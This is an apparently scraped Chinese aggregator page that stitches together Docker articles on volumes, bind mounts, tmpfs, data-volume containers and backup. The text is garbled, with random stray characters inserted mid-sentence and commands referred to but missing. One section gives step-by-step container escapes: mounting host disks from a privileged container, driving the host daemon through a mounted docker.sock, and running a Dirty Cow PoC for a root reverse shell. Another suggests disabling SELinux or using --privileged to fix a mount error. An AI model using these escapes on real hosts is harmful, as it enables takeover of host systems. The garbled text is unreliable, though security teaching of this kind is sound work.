包含dockermount的词条

本篇文章给大家谈谈dockermount,以及对应的知识点,希望对各位有所帮助,不要忘了收藏本站喔。

本文目录一览:

docker不识别mnt

对于Docker不能识别mnt目录的问题,可以尝试使用mount命令将mnt目录挂载到docker容器中卖岁,然后再在容器中运行相关程序。另外,也可以将mnt目录下的所有文祥圆件复制谨配塌到容器里,然后再在容器中运行相关程序。

linux mount docker iso文件

/usr/Downloads ubuntu64 /bin/bash 通过-v参数,冒号前为宿主机目录,必须为绝对路径,冒号后为镜像内挂载的路径;home/森配滑颂dock/Downloadsdocker可以支持把一个宿主机上的目录挂载到此让指镜像里。 docker run -it -v 47

[img]

详解Docker——你需要知道的Docker进阶知识三

我们可以将数据保存在容器中,但是这样存在一些缺点:

针对上述的缺点,有些数据,例如数据库文件,我们不应该将其保存在镜像或者容器的可写层中。Docker 提供三种不同的方式将数据从 Docker 主机挂载到容器中,分别为卷( volumes ),绑定挂载( bind mounts ),临时文件系统( tmpfs )。很多时候, volumes 总是正确的选择。

无论使用上述的哪一种方式,数据在容器内看上去都是一样的。它被认为是容器文件系统的目录或文件。

对于三种不同的存储数据的方式来说,卷是唯一完全由 Docker 管理的。它更容易备份或迁移,并且我们可以使用 DockerCLI 命令来管理卷。

列出本地可用的卷列表:

这种由系统随机生成名称的卷称为 匿名卷 ,匿名卷名称不具备可读性,使用起来不太方便,所以创建卷时一般会指定其 name 。例如我们创建一个名为 volume1 的卷。

创建好卷之后,我们可以用卷来启动一个容器,这里首先需要学习 docker container run 命令的两个参数:

对于前面创建的卷 volume1 ,可使用如下命令来在容器中使用:

使用 --mount 的命令如下:

上述操作,我们运行了两个容器,并分别挂渗行载了一个卷。对于这两个容器来说,由于挂载的是同一个卷,所以它们将共享该数据卷。多个容器共享数据卷时,需要注意并发读写问题。可以分别连接到两个容器中,操作数据来验证数据是同步的。

绑定挂载( bind-mounts )通过将主机上的目录挂载到容器中,使得容器可以操作和修改主机上的文件。

例如,我们将 /home/hellodocker 目录挂载到容器中的 /home/hellodocker 目录下,使用的命令如下:

而如果使用 --mount ,相应的语句如下:

上述两个操作针对的是目录,而对于挂载文件来说,可能会出现一些特殊情况,涉及到绑定挂载和使用卷的区别。下面我们重现这一操作:

首先在当前目录,即 /home/hellodocker 目录下,创建一个 test.txt 文件。并向其中写入文本内容 "test1":

接着创建一个容器 hellodocker6 ,将 test.txt 文件挂载到容器中的 /test.txt 路径,并查看容器中 /test.txt 文件的内容:

这时新打开一个终端,通过 echo 命令向 /home/hellodocker/test.txt 文件追加内容 "test2",并在容器中查看 /test.txt 文件的内容:

这时无论是在容器中还是主机上都能查看到该文件的最新内容。接下来在主机上查看 test.txt 的 inode 号,并使用 vim 编辑该文件丛渣哗,添加 "test3",并查看该文件的内容:

在主机上使用 vim 编辑后,通过 vim 做出的修改并不能在容器中查看到

这是因为 vim 编辑文件的时候,会将文件内容暂存到一个临时文件中,退出保存后会删除原来的文件,并将临时文件重命名为原文件。但是我们标识文件是通过 inode ,因此 Docker 绑定的依然是旧的主机文件,所以容器中看到的依然是旧的内容。

对于数据卷来说,由 docker 完全管理,而绑定挂载需要我们自己去维护。我们需要自己手动去处理这些问题,这些问题并不仅仅是上面演示的这些,还有用户权限, SELINUX 等。

tmpfs 只存梁姿储在主机的内存中。当容器停止时,相应的数据就会被移除。

Docker(5)——数据管理

docker 容器的文件系统在宿主机上存在的方式很复杂,这会带来下面几个问题:

为了能够 保存(持久化) 数据以及 共享 容器间的数据,docker 引入了数据卷(volume) 机制。数据卷是存在于一个或多个容器中的特定文件或文件夹,它可以绕过默认的联合文件系统,以正常的文件或者目录的形式存在于宿主机上。

其生存周期独立于容器的生存周期。

容器中主要有 两种 管理数据方式: 数据卷(Data Volumes) , 数据卷容器(Data Volume Containers) 。

数据卷是一个可供容器使用的特殊目录,它绕过文件系统,可以提供很多有用的特性:

数据卷的使用类似 linux 下对目录或文件进行 mount 操作,目前Docker提供了 三种 不同的方式将数据从宿主机挂载到容器中,分别是

其中 volume 、 bind mount 比较常用, tmpfs mount 基本不会用.

volumes作为Docker管理宿主机文件系统的一部分 ,默认位于 /var/lib/docker/volumes 目录中,不是宿主机已有数据,而是新建的。

docker 专门提供了 volume 子命令来操作数据卷:

先创建一个名称为 hello 的数据卷并通过 ls 命令进行查看:

然后可以使用 inspect 命令看看数据卷hello的详细信息

该数据卷使用的 Driver 为默认的 local ,表示数据卷使用宿主机的本地存储;

Mountpoint 是 volumes 的挂载点,默认是本机 /var/lib/docker/volumes 下的一个目录。

所有Container的数据都保存在了这个目录下边,由于没有在创建时指定卷,所以Docker帮我们默认创建许多匿名卷。

使用 -v 选项也可以指定挂载一个本地的已有目录到容器中去作为数据卷:

docker run -it –-name robot1 -v /var/data:/opt/mydata ros/kinetic /bin/bash

上面的命令挂载主机的 /var/data 目录到容器的 /opt/mydata 目录。

这个功能在测试的时候特别方便,比如用户可以放置一些程序或数据到本地目录中,然后在容器中使用。另外,本地目录的路径必须是绝对路径,如果目录不存在,Docker 会自动创建。

Docker 挂载数据卷的默认权限是可读写 rw ,用户也可以通过 ro 标记指定为只读:

docker run -it –-name robot1 -v /var/data:/opt/mydata:ro ros/kinetic /bin/bash

加了 :ro 之后,容器内挂载的数据卷内的数据就变成只读的了。

除了把数据卷中的数据存储在宿主机,docker 还允许我们通过指定 volume driver 的方式把数据卷中的数据存储在其它的地方,比如 Azrue Storge 或 AWS 。

通过 vieux/sshfs 驱动把数据卷的存储在云主机上,docker 默认是不安装 vieux/sshfs 插件的,我们可以通过下面的命令进行安装:

docker plugin install --grant-all-permissions vieux/sshfs

然后通过 vieux/sshfs 驱动创建数据卷,并指定远程主机的登录用户名、密码和数据存放目录:

注意:确保指定的远程主机上的挂载点 /home/nick/sshvolume 目录是存在的,否则在启动容器时会报错。

最后在启动容器时指定挂载这个数据卷:

在容器中 /world 目录下操作的文件都存储在远程主机的 /home/nick/sshvolume 目录中。进入容器 testcon 然后在 /world 目录中创建一个文件,然后打开远程主机的 /home/nick/sshvolume 目录进行查看,新建的文件会出现在那里。

当使用 bind mounts 将主机上的目录挂载到容器中时,目录由其在主机上的完整或相对路径引用。

bind mount 和 volume 其实都是利用宿主机的文件系统,不同之处在于volume是docker自身管理的目录中的子目录,所以不存在权限引发的挂载的问题,并且目录路径是docker自身管理的,所以也不需要在不同的服务器上指定不同的路径,不需要关心路径

bind mounts 可以挂载在宿主机系统的任意位置 ,但 bind mount 在不同的宿主机系统是不可移植的,比如Windows和Linux的目录结构是不一样的, bind mount 所指向的 host 目录也不能一样。这也是为什么 bind mount 不能出现在Dockerfile中的原因,因为这样Dockerfile就不可移植了。

如果使用 Bind mounts 挂载 宿主机目录 到 容器内非空目录 ,那么 此容器中的非空目录中的文件会被隐藏 ,容器访问这个目录时能够访问到的文件均来自于宿主机目录。这也是Bind mounts模式和Volumes模式最大的行为上的不同。

挂载存储在宿主机系统的内存中,而不会写入宿主机的文件系统;

这张图说明 bind mount 和 volume 其实都是利用宿主机的文件系统, Bind mounts 模式是将宿主机上的任意文件或文件夹挂载到容器,而 Volumes 本质上是将Docker服务管理的一块区域(默认是 /var/lib/docker/volumes 下的文件夹)挂载到容器。所以 volume 不存在权限引发的挂载的问题,并且目录路径是docker自身管理的,所以也不需要在不同的服务器上指定不同的路径,不需要关心路径。

相对于 bind mount , volume 是Docker Engine在自己的“地盘”分配了一个路径作为挂载点,自己地盘的权限肯定是安排的明明白白。所以,以上挂载宿主机路径的问题都解决了。

在使用 volume 作为数据卷挂载到容器时,直接用 volume 名称代替宿主机路径名就行:

docker run -d -v test_vol:/var/data some_image

这样就将数据卷 test_vol 挂载到了容器内的 /var/data 目录下。

命名的容器挂载数据卷,其它容器通过挂载这个(父容器)实现数据共享,挂载数据卷的容器,称之为数据卷容器

可以利用数据卷容器对其中的数据卷进行备份、恢复,以实现数据的迁移。

备份

使用下面的命令来备份 mydata 数据卷容器内的数据卷:

sudo docker run --volumes-from mydata -v $(pwd):/backup –-name worker ubuntu tar cvf /backup/backup.tar /data

这个命令首先利用 Ubuntu 镜像创建了一个容器 worker。又使用 --volumes-from mydata 参数来让 worker 容器挂载 mydata 容器的数据卷。接下来使用 -v $(pwd):/backup 参数来挂载本地的当前目录到 worker 容器的 /backup 目录。

在 worker 容器启动后,使用了 tar cvf /backup/backup.tar /data 命令来将 /data 下内容备份为容器内的 /backup/backup.tar,即宿主主机的当前目录下的backup.tar。

恢复

如果要恢复数据到一个容器,可以按照下面的操作。首先创建一个带有数据卷的容器 mydata2:

sudo docker run -v /data –-name mydata2 ubuntu /bin/bash

然后创建另一个新的容器,挂载 mydata2 的数据卷,并使用 tar 解压缩备份文件到所挂载的容器卷中:

sudo docker run --volumes-from mydata2 -v $(pwd):/backup busybox tar xvf /backup/backup.tar

如果用户需要在容器之间共享一些持续更新的数据,最简单的方式是使用数据卷容器。数据卷容器其实就是一个普通的容器,专门用它提供数据卷供其他容器挂载。下面简单介绍其使用方法。

首先要创建一个数据卷容器 mydata,并在其中创建一个数据卷挂载到 /data 目录。

sudo docker run -it -v /data –-name mydata ubuntu

然后在其他容器中使用 --volumes-from 来挂载 mydata 容器中的数据卷。例如创建两个容器 mycon1 和 mycon2,并从 mydata 容器挂载数据卷:

sudo docker run -it --volumes-from mydata –-name mycon1 ubuntu

sudo docker run -it --volumes-from mydata –-name mycon2 ubuntu

(注意,命令中没有指定数据卷的信息,也就是说新容器中挂载数据卷的目录和源容器中是一样的。)

此时容器 mycon1 和 mycon2 都挂载同一个数据卷到相同的目录 /data。三个容器任何一个在该目录下写入数据其他容器都能看到。

可以多次使用 --volumes-from 参数来从多个容器挂载多个数据卷。还可以从其他已经挂载了容器的容器来挂载数据卷。并且使用 --volumes-from 参数所挂载数据卷的容器自身并不需要保持在运行状态。

但删除挂载了数据卷的容器时,数据卷并不会被自动删除。如果要删除一个数据卷,必须在删除最后一个还挂载着它的容器时显式的使用 docker rm -v 命令来指定同时删除关联的容器。

如何对已经运行的容器挂载目录?

手动修改mount挂载的json文件,狂神的那个视频里面也有写。

深刻理解Docker镜像大小

理解docker的分层镜像实现 base 镜像共享(DockerFile)

干货来啦!带你初探Docker逃逸

Docker 是当今使用范围最广的开源容器技术之一,具有高效易用的优点。然而如果使用Docker时采取不当安全策略,则可能 导致系统面临安全威胁。

本期安仔课堂,ISEC实验室的张老师 将为大家介绍不同环境下, Docker逃逸至外部宿主机的情况。

一、配置特权模式时的逃逸情况

1.--privileged(特权模式)

特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。

使用特权模式启动容器, 可以获取大量设备文件访问权限 。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

当控制使用特权模式启动的容器时,docker管理员可通过mount命令将碧游外部宿主机磁盘设备挂载进容器内稿慧迹部, 获取对整个宿主机的文件读写权限 ,此外还可以 通过写入计划任务等方式在宿主机执行命令 。

具体步骤如下:

1.以特权模式运行一个容器:docker run -it --privileged ubuntu:14.04 /bin/bash

2.查看磁盘文件:fdisk -l

3.此时查看/dev/路径会发现很多设备文件:ls /dev

4.新建目录以备挂载:mkdir /abc

5.将/dev/sda1挂载至 /abc: mount /dev/sda1 /abc

6.最终我们可以通过访问容器内部的/abc路径来达到访问整个宿主机的目的:ls /abc

7.尝试写文件到宿主机:echo 123 /abc/home/botasky/escape2

8.查看宿主机中的文件:ls /home/botasky/escape2

2.--cap-add与SYS_ADMIN

Linux内核自版本2.2起引入功能(capabilities)机制,打破了UNIX/LINUX操作系统中超级用户与普通用户的概念, 允许普通用户执行超级用户权限方能运行的命令 。

截至Linux 3.0版本,Linux中共有 38种capabilities。Docker容器默认限制为14个capabilities ,管理员可以使用--cap-add和--cap-drop选项 为容器精确配置capabilities 。

当容器使用特权模式启动时,将被赋予所有capabilities。此外,在--cap-add的诸多选项中,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,因此当容器以--cap-add=SYSADMIN启动时,也将面临威胁。

二、挂载配置不当时的逃逸情况

1.危险的Docker.sock

众所周知,Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间 通信方式有以下3种:

其中 使用docker.sock进行通信为默认方式 ,当容器中进程需在生产过程中与Docker守护进程通信时,容器本身需要挂载/var/run/docker.sock文件。

本质上而言,能够访问docker socket 或连接HTTPS API的进程可以 执行Docker服务能够运行的任意键并命令 ,以root权限运行的Docker服务通常可以 访问整个主机系统 。

因此,当容器访问docker socket时,我们可 通过与docker daemon的通信对其进行恶意操纵完成逃逸 。若容器A可以访问docker socket,我们便可在其内部安装client(docker),通过docker.sock与宿主机的server(docker daemon)进行交互,运行并切换至不安全的容器B,最终在容器B中控制宿主机。

具体步骤如下:

1.运行一个挂载/var/run/的容器:docker run -it -v /var/run/:/host/var/run/ ubuntu:14.04 /bin/bash

2.在容器内安装Docker作为client(此步骤可能需要更换源):apt-get install docker.io

3.查看宿主机Docker信息:docker -H unix:///host/var/run/docker.sock info

4.运行一个新容器并挂载宿主机根路径:docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash

可以看见@符号后的Docker ID已经发生变化:

5.在新容器/aa路径下完成对宿主机资源的访问:ls /aa

三、存在Dirty Cow漏洞时的逃逸情况

1.脏牛漏洞(CVE-2016-5195)与VDSO(虚拟动态共享对象)

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。

竞争条件 意为任务执行顺序异常,可能 导致应用崩溃或面临攻击者的代码执行威胁 。利用该漏洞,攻击者可在其目标系统内提升权限,甚至 获得root权限 。 VDSO 就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。

在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击, 令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件 。

2.PoC验证环境

GitHub上已有人提供了测试环境与PoC,我们可以通过以下命令获取。

1. 运行验证容器:docker-compose run dirtycow /bin/bash

2. 本地开启nc,进行观察(PoC中设置的反弹地址为本地的1234端口):nc -lvp 1234

3. 编译PoC并运行,等待shell反弹:make ./0xdeadbeef

通过ID命令,可以发现这个shell为root权限:

参考引用

docker使用命令--mount提示报错

selinux 原因。谨春

两种方法:1.selinux模式为permissive模式祥塌耐 setenforce 0

2.容器启衫缺动,添加--privileged=true

关于dockermount和的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。

标签列表